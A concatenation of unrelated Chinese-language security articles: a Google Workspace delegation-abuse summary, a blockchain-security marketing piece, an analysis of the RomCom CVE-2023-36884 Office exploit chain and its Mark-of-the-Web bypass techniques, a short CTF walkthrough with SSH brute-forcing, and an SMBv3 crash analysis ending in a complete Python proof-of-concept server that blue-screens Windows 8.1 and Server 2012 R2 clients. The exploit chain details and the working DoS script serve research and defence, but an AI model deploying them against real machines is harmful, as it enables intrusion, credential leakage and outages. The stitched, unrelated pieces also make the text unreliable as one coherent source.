此策略缓解了潜在恶意内部人员破坏安全的空间，这些内部人员通常只拥有上图所示的GCP层次结构中的较低级文件夹或项目的权限。通过确保只有相同或更高级别文件夹或项目中的实体才能生成对委托服务帐户的访问令牌，可以阻止低级区域中的实体获取服务帐户的访问令牌。这有助于防止滥用全域委托权限，并防止对Google Workspace数据的访问。 总结 自2023年6月以来，研究人员一直在通过各种方式与谷歌讨论这个问题，Axon团队也发现了这个问题，他们也向谷歌进行了报告。 在配置此权限时，安全防御者需要考虑与全域委托功能相关的风险和含义。根据全域委托授予的范围，攻击者可以使用该功能来冒充Google Workspace用户，代表他们执行操作并获得对其数据的未经委托的访问。 必须强调攻击者滥用此功能所需的初始权限与可能的影响之间的不匹配。在最坏的情况下，攻击者或恶意的内部人员可能会泄露敏感的Google Workspace数据，例如存储在域中的电子邮件、文档和其他机密信息。 Cortex XDR功能可以识别和警告各种异常活动，例如授予全域委托权限或创建GCP服务帐户密钥。Cortex XDR能够学习GCP和Google Workspace实体的攻击，并检测异常攻击。 Prisma Cloud CIEM可以通过以下方式帮助降低风险和过度权限访问： 1.风险权限的可见性、警报和自动补救； 2.使用最低权限访问补救措施自动查找未使用的权限； 3.Prisma Cloud威胁检测功能可以对各种与身份相关的异常活动发出警报，例如来自云内部或云外部的异常使用凭据。 4.Prisma Cloud还可以执行运行时操作监控，并为与其云环境相关的任何组件提供治理、风险和遵从性(GRC)要求。

区块链可以增强您解决方案的安全性吗？凭借去中心化、智能合约和代币化等功能，区块链可以提供强大的方法来保护您的数据并自动化网络安全工作。但区块链在网络安全中到底扮演着什么角色，它真的能为所有企业提供强有力的保护吗？ 在本文中，我们仔细研究了区块链网络安全的好处和挑战，并分析了区块链对不同解决方案的网络安全可能产生的影响。 使用区块链实现网络安全：好处和注意事项 区块链对于医疗保健、公共部门、物流、金融等领域的组织有着无穷无尽的应用。除了独特的功能之外，区块链还由于其去中心化和密码学等固有品质提供了更高级别的安全性。让我们看看这种保护软件的技术的主要优点。 安全的数据存储和处理——区块链记录是不可变的，记录在区块链上的任何更改都是透明的且无法修改。因此，存储在区块链上的数据比传统的数字或纸质记录得到更好的保护。 安全的数据传输——区块链可以实现涉及数据和财务的快速、安全的交易。智能合约是区块链技术不可或缺的一部分，它通过自动执行协议来提高安全性，减少人为错误和潜在漏洞的风险。 无单点故障——无需许可的区块链系统是去中心化的，因此比传统系统更具弹性。为了影响整个区块链的运行或安全，恶意行为者必须危害 51% 或更多的网络节点。这意味着即使在遭受DDoS攻击的情况下，由于账本的多个副本，系统也能正常运行。然而，私有区块链无法提供这种优势。 数据透明度和可追溯性——区块链通过数字签名和时间戳交易来提高网络安全性，并允许网络用户轻松追踪交易历史并在任何历史时刻查看账户。此功能还允许公司拥有有关其资产或产品分销的有效信息。 用户机密性——由于使用公钥加密技术来验证用户身份，区块链网络参与者的机密性很高。然而，一些基于区块链的初创公司更进一步改进了这项技术。例如，Guardtime开发了无密钥签名基础设施 (KSI)，允许用户在不泄露密钥的情况下验证签名有效性。 使用区块链进行网络安全工作之前要考虑什么 虽然区块链作为网络安全措施具有巨大的潜力，但该技术也面临着一些挑战。让我们仔细看看区块链的主要缺点，在决定使用该技术增强解决方案的安全性之前需要考虑这些缺点。 可扩展性挑战——区块链网络对区块容量和每秒交易数量有不同的限制。从网络安全的角度来看，您的区块链系统必须处理所有与安全相关的交易和数据，以确保安全的数据存储而不损害产品的性能。我们建议检查您想要用作解决方案基础的区块链平台的可扩展性，并提前考虑您的预期负载。 对私钥的依赖——区块链依赖于私钥，私钥是由钱包自动生成的一长串随机数。私钥用于与区块链交互并确保安全。如果用户丢失私钥，关键的加密数据可能会永久无法访问，从而使密钥管理成为关键的安全问题。 适应性挑战——尽管区块链技术几乎可以应用于任何业务，但公司可能会面临整合困难。例如，保护供应链系统的安全非常具有挑战性，因为使用区块链重新实现供应链逻辑可能需要很长时间。区块链应用程序还可能需要更换现有系统，因此公司在实施区块链技术之前应考虑这一点。 高运营和定制成本——区块链网络需要大量的计算能力和存储容量。与现有的非区块链系统相比，这可能会导致更高的边际成本。在 Apriorit，我们始终关注基于区块链的解决方案的成本效率和商业价值。 缺乏明确的治理——区块链技术的运营和使用在全球范围内没有得到很好的监管。尽管许多国家都在关注区块链和加密货币的法律法规，但要求不断变化和发展，使得供应商难以实施。您需要不断跟踪法律法规的变化，以确保您的系统符合您所在地区和行业的适用要求。 这些是您在决定实施区块链技术以提高产品的网络安全性时需要考虑的主要挑战。然而，可能的缺点的最终范围将根据您所处的行业以及您希望借助区块链解决的其他任务而有所不同。 让我们仔细看看区块链在网络安全中的主要用例。 网络安全的顶级区块链应用 区块链是一种多功能技术，您可以应用它来实现各种网络安全目标。然而，与可以集成到软件的单独部分的网络安全脚本不同，区块链实施通常需要一种全面的方法。这意味着您的整个软件系统甚至业务运营可能需要进行重大更改才能从区块链的安全功能中受益。 让我们看看使用区块链来保护您的产品免受网络威胁并使您的企业更加信誉、安全和值得信赖的主要方法。 1. 验证所有权和跟踪记录 区块链可以验证数字资产的所有权，例如域名、知识产权或数字证书，确保只有授权方才能进行更改。 例如，房地产行业正在采用区块链来验证财产所有权，减少欺诈和纠纷。StreetWire和ShelterZoom使用该技术来简化房地产企业的数据管理。 您还可以在供应链中使用基于区块链的所有权验证来跟踪和验证资产，确保其完整性并降低伪造风险。 区块链的不变性使其成为创建不可更改的审计跟踪的理想选择，可用于跟踪和验证系统内的活动。例如，医疗保健组织使用基于区块链的不可变审计跟踪来记录患者记录，确保医疗数据的完整性和安全性。 网络安全中的区块链技术还可用于提高许多政府流程的安全性和透明度：税收、信息治理、选举等。 2. 去中心化身份管理 区块链可用于记录和验证网络中用户、设备和软件的身份和完整性。每个设备或软件组件都可以在区块链上拥有唯一的身份，并且可以监控它们的行为是否存在任何异常。这使您能够快速检测可能是违规或身份盗窃迹象的异常行为，并在其对系统完整性造成损害之前解决它。 通过在区块链上注册设备和软件组件，您可以实施基于身份的访问控制。这将使您能够更好地控制设备和软件对产品的访问，从而降低未经授权访问的风险。 通过基于区块链的身份管理系统，个人可以控制自己的数字身份并降低身份盗用的风险。例如，Sovrin是一个去中心化身份平台，它使用区块链让用户控制自己的个人数据。它用于各种应用，包括自我主权身份验证。 区块链也是零知识证明的理想环境——用于证明系统存储特定信息而不泄露实际信息本身的加密技术。它利用区块链来实现网络安全和隐私，并使身份验证更加安全。Zcash是一种注重隐私的加密货币，它使用零知识证明来实现私密交易，同时向网络证明交易的有效性。 3. 安全的数据共享和存储 区块链可用于安全、防篡改的数据存储和共享，提供敏感信息的机密性和完整性。让我们详细看看一些例子。 医疗保健组织使用区块链来安全地管理医疗数据。例如，BurstIQ是一个基于区块链的平台，可帮助医疗保健组织安全地存储患者数据并在不同部门和机构之间近乎实时地共享数据。区块链还可以帮助建立安全的消息传递服务，以便就行政事务和非紧急医疗案件进行快速、舒适的患者与机构沟通。 区块链可以存储供应链中每个产品的所有操作和交易的防篡改记录。沃尔玛、宝马和联邦快递等全球巨头部署区块链来简化供应链效率和运营的分析。 公共部门使用区块链来确保选举安全。基于区块链的投票系统提供透明且防篡改的投票记录。例如，爱沙尼亚成功使用区块链保护其投票系统，以防止恶意行为者访问公民投票数据。 除了保护投票记录之外，区块链还有助于加快计票速度并确保结果的准确性。由于所有记录都是不可变的，篡改区块链上的电子投票几乎是不可能的。然而，在验证选民身份的同时保持选民选择的匿名性可能是一个挑战。 物联网技术与区块链相结合，可以利用防篡改和去中心化的账本进行设备交互，从而在物联网设备之间实现更安全的通信和数据交换。 在金融领域，区块链的最大价值在于其数据不变性和交易透明性。在区块链上存储交易比保存传统的数字或纸质记录更加透明和安全。一些银行组织，例如ING 集团，使用区块链（特别是零知识范围证明解决方案）来保护客户信息的机密性。Q2是一个虚拟银行平台，利用区块链和机器学习来加强用户数据保护。 4. 智能合约的安全自动化 基于区块链的智能合约可以自动化安全程序和操作，确保合规性和对安全事件的快速响应。基于以太坊的智能合约可以自动化去中心化应用程序（dApp）和区块链系统中的安全操作，通过减少人为错误来提高安全性。智能合约确保多方之间协议的快速、安全和全自动执行。 例如，通过结合区块链技术和智能合约，您可以通过自动限制请求数量或验证每个网络参与者来自动为您的产品提供分布式拒绝服务 (DDoS) 保护。 在金融领域，智能合约被用来自动化支付处理和验证交易。这些合同可以在满足所有条件时自动执行协议，从而降低欺诈活动的风险。例如，摩根大通等金融机构已经探索使用区块链和智能合约进行高效、安全的抵押品结算。 SMARTRealy和Propy等公司利用智能合约来出售、购买或租赁房产。 区块链在供应链网络安全中的作用在于使用智能合约自动验证商品和产品，自动保护您的供应链免受假冒产品和产品篡改，无需任何人为参与。 结论 凭借可靠的数据加密机制、数据完整性、网络弹性和可扩展性，区块链为维持高水平的数据安全提供了丰富的机会。因此，从传统安全系统切换到基于区块链的系统可以使几乎所有行业的组织受益。 但与任何革命性解决方案一样，组织在使用区块链和网络安全来改善对其产品的保护时，应该准备好应对潜在的复杂情况。

漏洞链攻击是从以下诱饵开始: 分析时，研究人员观察到一个有趣的Microsoft Word文档(.docx文件)于2023年7月3日首次提交给VirusTotal，名为Overview_of_UWCs_UkraineInNATO_campaign.docx。 该活动被社区归因于Storm-0978(也被称为RomCom组织，因为他们使用了RomCom后门)。 恶意Word文档诱饵 此文档托管在以下URL： hxxps://www.ukrainianworldcongress[.]info/sites/default/files/document/forms/2023/Overview_of_UWCs_UkraineInNATO_campaign.docx上面的链接表明该文档很可能是通过电子邮件传播的，电子邮件文本包含指向.docx文件的链接。文件的创建日期和域名ukrainianworldcongress的注册日期都是2023年6月26日。这个时间点表明，这是一个基于电子邮件的活动，其中包含.docx文件的链接。 当该文件最初提交给VirusTotal时，62个杀毒软件中有27个将其识别为恶意文件。 CVE-2023-36584利用的技术分析 微软Office文档一直是攻击者传播恶意软件的常用攻击手段。为了应对这一威胁，微软实施了mow安全，限制Office文档中的各种功能来自不受信任的位置。 Windows将这些文件识别为高风险文件。带有mow标记的文件会生成一个SmartScreen提示，表明它有潜在的危险。当Word文档未标记为mow时，就会被攻击者利用，导致禁用Protected View。 为了理解CVE-2023-36884是如何被特定的诱饵利用的，我们应该首先了解Microsoft Word对Open XML文件格式的实现过程，在本例中是针对MS-DOCX (.docx)文件。 MS-DOCX文件是一个压缩的ZIP归档文件，其中包含用于显示Word文档的多个规范文件。其中之一是位于word/document.xml的XML文件。这是MS-DOCX文件的核心XML组件，它包含文档的文本和格式。 在Microsoft Word中查看MS-DOCX文件时，文档的大部分内容都是通过Word /document.xml导入的。 在.docx诱饵中，word/document.xml使用名为altChunk的导入外部内容元素导入内容，如下图所示。 这个altChunk元素可以导入使用另一种格式的内容，比如富文本格式(RTF)，来自.docx文件的word/document.xml有一个altChunk元素，它使用标识符AltChunkId5指示与外部内容的关系。这个标识符在word/_rels/document.xml.rels的关系文件中被定义。 上图中显示的document.xml.rels代码片段将导入的目标标识为位于word/afchunk.rtf的文件。 RTF文件afchunk.rtf包含两个恶意的OLE (Object Linking and Embedding)对象。第一个OLE对象使用带有objautlink RTF控制字的OLE自动链接类型，在objautlink控制字之后，一个objupdate控制字强制对象在显示之前进行更新，如下图所示。 对象类被定义为Word.Document.8，其数据在其标头中包含LinkedObject结构，后跟表示十六进制字符的ASCII文本。 我们使用Didier Steven的rtfdump.py工具进一步检查afchunk.rtf。下图显示了前面所示的objautlink片段的十六进制(hex)输出，这个输出更清楚地显示了LinkedObject结构。 第一个恶意OLE对象的rtfdump.py输出 此十六进制转储显示\\104.234.239[.]26\share1\MSHTML_C7\file001.url，一个使用服务器消息块（SMB）协议的恶意url。 使用rtfdump.py查看afchunk.rtf，我们发现另一个使用xmlfile类的恶意OLE对象，其标头包含EmbeddedObject结构。嵌入的对象是一个复合文档，其中包含一个URLMoniker，它从URL加载XML文件hxxp://74.50.94[.]156/MSHTML_C7/start.xml，如下图中的蓝色标注。 第二个恶意OLE对象的rtfdump.py输出 漏洞利用链的第一阶段 对该漏洞利用链的初步研究得出了一个流程图，该流程图由@zcracga创建，并于2023年7月12日由@r00tbsd共享。该流程图有助于可视化通过漏洞利用链工作的不同阶段。 漏洞利用链流程图 我们最初关注的域是afchunk.rtf中恶意OLE对象的两个URL。如前所述，这些OLE对象从以下URL请求内容： \\104.234.239[.]26\share1\MSHTML_C7\file001.url hxxp://74.50.94[.]156/MSHTML_C7/start.xml当Windows客户端连接到SMB服务器时，该客户端会发送Windows NT LAN Manager（NTLM）凭据进行身份验证。因此，当受害者主机访问位于\\104.234.239[.]26\share1\MSHTML_C7\file001.URL的URL时，它会将受害者的NTLM凭据及其主机名和用户名泄漏给攻击者控制的SMB服务器。收集到的信息稍后将用于攻击链。 下图显示了嵌入file001.url中的HTML代码。 file001.url片段 通过检查file001.url，UName变量包含受害者的用户名。这是攻击者控制的SMB服务器从受害者泄露的NTLM凭据中收集的用户名。如果上图显示的变量d不为空，则漏洞利用链将用户名与攻击者传递的值连接起来，该值用于创建名为2222.CHM的CHM文件的路径，该文件包含在名为file001.zip的文件中。 在攻击链的这一阶段，2222.chm不存在，或者它可能是攻击者使用的其他攻击的一部分。file001.url的进一步行为将在后面解释，因为它与2222.chm密切相关。 afchunk.rtf中的第二个恶意OLE对象来自hxxp://74.50.94[.]156/MSHTML_C7/start.xml。此start.xml文件包含一个iframe，用于从同一服务器和目录路径加载另一个名为RFile.asp的文件。 start.xml中引用RFile.asp的iframe片段 RFile.asp负责在服务器上加载另一个文件，该文件的攻击特定路径定义为： file[:]//104.234.239[.]26/share1/MSHTML_C7/1/__file001.htm?d=__该路径由受害者的 RFile.asp中的代码段 滥用Windows搜索处理程序 file001.htm的核心行为是执行JavaScript，如下图中的代码片段所示。 file001.htm片段 file001.htm中的JavaScript使用iframes来加载几个文件。它首先加载一个保存的搜索文件，该文件的文件名由受害者的IP地址和以字符串file001.search-ms结尾的五位标识符组成。我们将把这个文件称为其文件名file001.search-ms的最后一部分。 接下来是三个HTTP请求，在它们的url中使用字符串.zip_k*。除了执行计时或无操作（no-op ）操作外，此行为没有明显的价值。 最后，MSHTML重新加载file001。Search-ms然后加载redir_obj.htm。 这些请求的顺序很明显，因为预期的目的并不明显。根据相关网络流量示例中的时间戳，我们推测通过服务器端操作实现了这种事件顺序的绕过，其中对.zip_k*文件的请求被用作延迟机制。下图显示了在Wireshark中过滤流量的数据包捕获(pcap)，突出显示了一个HTTP GET请求与其HTTP响应之间的两秒延迟。 使用zip_k.asp延迟响应请求 在检查文件redir_obj.htm时，我们发现了如下图所示的代码片段。这段代码从本地路径加载一个文件，该文件使用在初始SMB连接期间捕获的泄漏的主机名和用户名分别作为CompName和UName变量，其用于打开文件file001.zip中名为1111.htm的HTML文件。 来自redir_obj.htm的片段 重新创建Windows搜索处理程序文件 我们使用Windows文件资源管理器创建一个空白保存的搜索文件，文件扩展名为.search-ms，以控制包含2222的ZIP文件的位置。提取CHM并说明这个漏洞利用链是如何工作的。我们在File Explorer中启动搜索并保存结果，这创建了一个.search-ms文件。这个保存的搜索文件是一个空白模板，可以重现这个漏洞利用链中使用的搜索处理程序文件行为。 Windows系统文件Windows. storage .search .dll处理.search-ms文件。为了成功地将ZIP文件解压缩到redir_obj.htm文件中指定的目录中(由图11中所示的JavaScript iframe加载)，需要进行一些更改。 首先，include元素必须包含一个本地路径作为它的网络路径，并使用FILE_ATTRIBUTE_NORMAL，实现为变量attributes="128"。 基本.search ms文件，已更改为触发ZIP提取 接下来，autoListFlags属性必须打开第二个最低有效位，如下图所示。这将产生一个完整的搜索，其中还包括任何ZIP存档的内容。 在Windows.Storage.Search.dll中进行.search-ms处理的示例 此时处理.search ms文件将在目标计算机上按以下路径创建一个目录： C:\Users\[USERNAME]\AppData\Local\Temp\[Temp1_zip_filename] ZIP文件的内容随后被提取到该目录中。 search-ms根据早期SMB泄露的主机信息处理ZIP文件的放置和内容提取。 结果证实了从ZIP文件中提取的两个文件：1111.htm和2222.chm。 在利用Office中以前的RCE漏洞CVE-2021-40444时，也观察到了类似的行为。在该攻击中，攻击者会利用Microsoft Compressed Archive（CAB）路径遍历提取漏洞来实现类似的目标：将HTML文件提取到计算机上的可预测路径。 在讨论1111.htm和2222.chm文件之前，我们首先应该了解Windows安全区域。 Windows安全区域和其他障碍 Windows安全区域也被称为Internet Explorer安全区域或URL安全区域，Windows安全区域是微软用来确定来自不同来源文件的权限机制。通常，从internet检索的文件被标识为来自“internet Zone”，并标记为受限权限的mow。 此数据存储在名为Zone.Identifier的文件的备用数据流（ADS）中，用于指示文件的安全区域。来自“Internet Zone”的文件的ZoneId值为3(安全区域3)。 为了使攻击链的其余部分成功，1111.htm和2222.chm文件的ZoneId值都必须在其Zone.Identifier ADS（安全区域1）中标识为1。然而，这是一个障碍，因为从远程路径下载并由.search-ms提取的ZIP内容的ZoneId值为3，并且该内容会自动标记为MotW。 为了成功利用，还必须克服另外两个障碍: 障碍1：当Windows Search使用.Search ms完成时，它会删除[Temp1_zip_filename]目录。这将生成一个竞争条件，以加载临时目录中的文件。 障碍2：默认情况下，Windows不会搜索CHM文件的内容。2222.chm文件是此漏洞利用链的一部分，但它不会使用Windows搜索的默认设置从ZIP存档中提取。 使用CVE-2023-36584绕过MotW 在使用CVE-2023-36884对这个漏洞链进行分析期间，研究人员发现了一个漏洞利用途径，微软将其命名为CVE-2023-36584。 Windows Search在搜索期间遍历ZIP存档中的所有文件。Windows Search检查每个文件的文件扩展名，以确定其内容是否也需要搜索。如果是，Windows Search将该文件写入临时目录，并将mow添加到其中。 这个实现生成了一个固有的竞争条件。在将解压缩文件写入磁盘和用mow标记它之间有很短的时间窗口。如果我们在这个窗口中延迟Windows搜索，我们可以解决竞争条件并最终绕过mow。 先前利用CVE-2022-41049的技术通过向ZIP存档中的文件添加只读属性来绕过motw，这避免了对区域的修改。这避免了对Zone.Identifier ADS的修改，并阻止了提取的文件接收MotW。这项技术启发了我们，并使我们发现绕过MotW。 技术1：服务器端ZIP交换 服务器端操作使我们能够解决这些问题，我们发现了一个从检查时间到使用时间(TOCTOU)的漏洞，当从远程服务器下载ZIP归档文件时，可以利用该漏洞。 Windows使用系统文件zipfldr.dll来提取ZIP存档的内容。这个Windows DLL文件读取ZIP文件的标头并将数据缓存在内存中，同时ZIP存档的内容被提取并保存到磁盘。Zipfldr.dll公开了一个API，该API可用于通过在ZIP存档中指定文件索引来提取文件。 读取文件标头后，在使用zipfldr.dll对其进行解压缩之前，我们可以将远程服务器上的ZIP文件替换为包含不同名称文件的ZIP文件，从而导致MotW无法写入。 这种技术之所以有效，是因为urlmon.dll使用文件路径来写入最初从缓存在内存中的ZIP标头读取的MotW，以便绕过将MotW写入文件。 该技术解决了前面提到的关于利用CVE-2023-36884的两个障碍。成功解压缩了.chm文件，否则将无法解压缩，并且这些文件不会立即删除。 下图显示了一个Process Monitor（procmon）视图，说明创建名为2222.txt的替代文件的尝试失败。此条件允许以前保存的2222.chm避免MotW。 使用TOCTOU漏洞绕过mow 我们无法确认这就是攻击者在原始漏洞利用链中使用的确切技术。但是，VirusTotal对初始.docx诱惑的沙箱分析的行为日志显示，创建了一个名为1111.txt的文件，表明可能有一个镜像1111.htm的替代文件名。 技术2：服务器端延迟 除了第一种技术外，我们还发现了另外两种可以显著延迟mow编写的技术。此场景防止写入MotW属性，并允许从安全区域1中的另一个线程执行文件。 从ZIP存档中提取文件后，在将MotW添加到Zone.Identifier ADS之前，我们可以从攻击者控制的SMB服务器引入时间延迟。这是可能的，因为SMB2协议的关闭操作包括关闭请求和结束基于SMB的文件传输的关闭响应。 当客户端接收到来自传输文件的所有数据时，它将SMB关闭请求发送回服务器，并等待SMB关闭响应。文件已被传输，但传输操作尚未完成，直到客户端收到关闭响应。这是一个同步操作，可以延迟相当长的一段时间。 下图中的procmon列表显示了在111.222.11[.]20的SMB服务器在下一次操作之前传输了一个名为served.zip的文件后的30秒延迟。这表示关闭请求和关闭响应之间有30秒的延迟。 在这个30秒的窗口中，1111.htm文件是一个没有MotW的安全区域1文件。在30秒后最终发送了关闭响应后，该过程继续，并将MotW写入1111.htm。 mow绕过 技术3：服务器端延迟 在从ZIP归档文件传输大文件时，Windows从远程共享中读取文件的一部分，将数据附加到磁盘上的本地文件中，然后从远程共享中读取其他部分，直到文件完全写入磁盘。如果我们在文件末尾附加随机数据，就可以在Windows将mow添加到文件之前延迟SMB服务器对文件的写入。该文件在写入过程中是可用的，因为它是用读写dwShareMode打开的。 我们通过在流程中引入10秒延迟来测试这个预设，如下图所示。 使用延迟阅读响应的mow 微软安全更新地址CVE-2023-36884 开发此漏洞利用链的攻击者知道SMB文件传输期间临时保存的本地文件的路径是可预测的。但在微软2023年8月的安全更新之后，临时保存的本地文件名中添加了一个通用唯一标识符（UUID），可以使路径随机。 微软2023年8月安全更新后临时保存的本地文件路径 如上图所示，在我们的测试运行期间，临时保存的文件在临时保存的本地文件的目录路径中包含UUID字符串90be3ab -6ec5-4f3f-bdd8-1e22ee6c326c。 在ZIP存档的SMB文件传输过程中，zipfldr.dll通过调用CTempFileNameArray::GetTempLocation函数创建一个临时文件夹，该函数调用CTempFileNameArray::_TryCreatingInPath。 使用BinDiff查找zipfldr.dll补丁版本中的更改，我们在CTempFileNameArray::_TryCreatingInPath函数中发现了一个值得注意的新代码块，如下图所示。 调用UuidCreate Microsoft添加了对UuidCreate的调用，如果路径没有使用新的UUID构造，则从ZIP存档中提取内容将失败。 zipfldr.dll补丁版本中另一个有趣的更新是ExtractZipToFile函数。在提取文件后添加新代码，它将在文件写入后立即追加mow。如果SetFileAttributes失败，文件将被删除，如下图所示。 调用DeleteFileW 尽管微软2023年8月的安全更新缓解了这一漏洞链，但该链的其他步骤仍可以被利用。 ActiveX攻击面 在安全区域1中运行文件会导致对ActiveX控件更宽松的策略，并提供更大的ActiveX攻击面。这允许执行可能被利用来执行恶意代码的旧ActiveX代码。 增加的ActiveX攻击面使我们能够触发攻击链中的下一步。下图中的1111.htm中的代码片段将导致下一步。 在WebBrowser控件中重新加载1111.htm 这段来自1111.htm的代码创建了一个隐藏的弹出窗口，并在隐藏的弹出窗口中运行ActiveX WebBrowser控件。WebBrowser控件是一个包装器，它允许在基于windows的应用程序中使用web浏览功能。开发人员经常使用此ActiveX控件在应用程序中嵌入HTML查看器。 提升命令执行的安全区域 虽然安全区域1允许我们避免mow并增加ActiveX攻击面，但可以将文件提升到安全区域0以执行命令。标记为安全区域0的文件表示“本地计算机”区域，这是最受信任的区域，并提供最大允许权限。 在这个阶段，WebBrowser控件将页面从区域1中的网络路径重定向到同一页面的本地路径。现在已经从本地路径加载了1111.htm文件，它将在安全区域0中执行。 接下来，1111.htm通过调用ms-its加载2222.chm，如下图所示。 加载2222.chm Windows使用这个ms-its处理程序来显示microsoftcompiled HTML Help (CHM)文件。该函数在its .dll模块中实现，该模块加载提取的2222。chm文件。 下图显示了在HTML Help Workshop中查看文件时2222.chm的内容。 2222.chm的内容 CHM文件包含一个名为file1.htm的文件，该文件重定向到file1.mht（由inetcomm.dll处理，它是Microsoft互联网消息API的一部分）。然后file1.mht使用showHelp方法加载fileH.htm。然后fileH.htm重定向到fileH.mht，最后fileH.mht执行如下图所示的脚本。 fileH.mht代码段调用open函数 上图中来自fileH.mht的代码片段使用window.open方法调用ShellExecuteExW API以在以下位置打开文件： file[:]//104.234.239[.]26/share1/MSHTML_C7/ex001.url 绕过SmartScreen 上图中名为ex001.URL的Internet快捷方式（URL）文件指向文件[:]//104.234.239[.]26/share1/MSHTML_C7/ex001.zip/file001.vbs。 下载的file001.vbs文件包含旨在绕过SmartScreen保护的恶意Visual Basic脚本（vbs）。 当URL文件指向远程UNC路径时，URL文件将下载并运行从该路径返回的内容。执行内容调用ShellExecuteW API，该API触发CheckSmartScreen函数，提示用户进行确认，如下图所示。 SmartScreen警告 但是，我们的文件位于ZIP存档中，因此它触发的行为流略有不同。文件 file001.vbs在利用链中被下载，并使用MotW提取到用户的本地临时目录中，但它会立即执行，不会出现任何弹出警告。下图中的procmon列表对此进行了说明。 立即启动Wscript.exe，成功绕过SmartScreen 如上图所示，从远程目录中检索文件ex001.zip，然后从zip归档中提取文件001.vbs。稍后在进程事件列表中，我们为wscript.exe找到一个进程创建条目，以运行VBS文件，如蓝色突出显示的那样。

前言 这个”对打”实际上用自己主机打的是同一台机器看谁能先打进并且修复漏洞 与htb对打不太一样 至于CTFshow还在更,换换口味 CTFshow更完下一个文章换个类型不然短时间老打同一类型容易忘 快二十分钟开始的时候来了个斯里兰卡的老外 域这边BGM都准备好了 老规矩先打开80端口 是一个功夫熊猫只是一张图片什么也没有 分析：可能有图片隐写 一看没有图片隐写 Ctrl+U查看源代码 给的一个关键词是shifu经验认为可能是ftp或者ssh的用户名 开始扫描端口 开放了22 53 80 139 445 3306 8009 9999 发现其实都没用 不过开放了22端口可能需要爆破 下面开始扫描目录 扫描出了WordPress程序和flag文件 先进WordPress 尝试登录后台 标题是po’s blog那么账号应该是po 随便输入一个密码 会跳转 发现这应该是伪造的 尝试访问flag目录 解码： 拿到第一个flag 之前源代码拿到的shifu ssh账号尝试爆破 密码是batman 尝试登录并且改密 提权 提权成功后全局搜索flag 拿到第二面flag 因为flag有时候是flag.txt 我们在全局搜索flag.txt 发现有三面flag 直接全拿了 至此五面旗帜到手 本靶较为简单和基础且有朋友远程指导,不然打不了这么好,

0x01 前言 去年年底，当设置一个模拟器来定位SMB协议时，发现了一个如此简单而又非常有效的攻击大型企业的漏洞。TL; DR：一个拒绝服务错误允许BSOD协议向Windows 8.1和Windows Server 2012 R2计算机发送单个数据包。 0x02 测试环境 受影响的系统： ·Windows 8.1（x86） ·Windows Server 2012 R2（x64） 0x03 背景知识 要了解此漏洞的根本原因，需要了解SMB数据包的结构方式。 让我们来看一下SMBv1协议头文件： 正如我们所看到的协议字段以FF字节开始,现在让我们来看看SMBv2 协议字段现在以FE字节开始,那么SMBv3呢？SMB协议的v3版本已经过加密，并将使用SMB2_Transform的特定头部进行加密通信： SMBv3 始终是加密的，正如可以在官方文档中了解到SMBv3会话的协商从SMBv2会话开始。以下是设置SMBv3会话时涉及到的数据包： 在1到8字节的数据包中，SMB数据头看起来像这样： 我们可以看到，使用的字节序列仍然是0xFE，它是Microsoft官方文档中指示的SMBv2的代码。 从第9字节开始，加密处于连通状态，并且报头中使用的字节序列将为0xFD 正如您在PoC中看到的那样，当第一次会话时立即发送带有0xFD报头的SMB数据包时会发生内核崩溃。现在，让我们深入了解崩溃转储机制，以了解此次崩溃的根本原因。 0x04 根本原因分析 仅在Windows 8.1（x86）上执行来分析根本原因,发送特定数据包会导致内核崩溃，因为它要从内存中读取地址为0x00000030处受保护（空页面保护）的值。 发生崩溃的模块是“ mrxsmb.sys ”，它是Microsoft服务器消息块（SMB）的重定器。崩溃的确切位置是mrxsmb！SmbWksReceiveEvent + 8539，其中从[ecx + 30h]发生偏移到EAX，ECX的值指向0x00000000。 当我们通过IDA分析流程时，它看起来如下所示： 处理数据包并检查是否启用了加密，这与使用加密SMB数据包的SMB 3.0相关 在WinDBG中，它看起来像这样： 从本质上讲，它将检查加密是否被启用，如果在这种情况下，它将遵循“错误”路径并转移到下一个函数： 它将执行一些比较指令，并且第二个最后的指令是检查是否用十六进制值0x34注册ECX。如果ECX低于或等于0x34，在这种情况下发发生错误： 遵循“错误”路径：发生另一条指令，在这种情况下，如果寄存器EDX（攻击者可控制值）高于[ESP + 4C]的值，它将遵循“真实”路径 各种寄存器中的值： 下一条指令再次将ECX的值与0x34进行比较，如果ECX高于0x34，它将遵循“真实”路径 在这种情况下，它将遵循真实路径，因为ECX的值高于0x34。以下指令块将_Microsoft_Windows_SMBClientEnableBits的值0x80000000之间的值进行测试。 在WinDBG中，我们可以看到测试会导致“错误”，随后将遵循“错误”路径。 引导我们接受一个始终为“true”的测试指令 转而使用loc A0F20E05”功能, 将零置于堆栈之后，在这种情况下，它将运行“ loc A0F20E15”：在将ECX + 30h移至EAX的指令处，会发生崩溃，因为ECX为0x00000000，它将尝试读取受保护内存空间0x00000030的值。 这会导致内核崩溃，并强制机器重新启动。 0x05 利用poc import SocketServer from binascii import unhexlify payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141' class byebye(SocketServer.BaseRequestHandler): def handle(self): try: print "From:", self.client_address print "[*]Sending Payload..." self.request.send(unhexlify(payload)) except Exception: print "BSoD Triggered on", self.client_address pass SocketServer.TCPServer.allow_reuse_address = 1 launch = SocketServer.TCPServer(('', 445),byebye) launch.serve_forever() 0x06 漏洞复现 1.在kali执行脚本 2.然后在windows2012 r2上访问共享地址:\\10.0.0.217,会立即看到操作系统蓝屏！

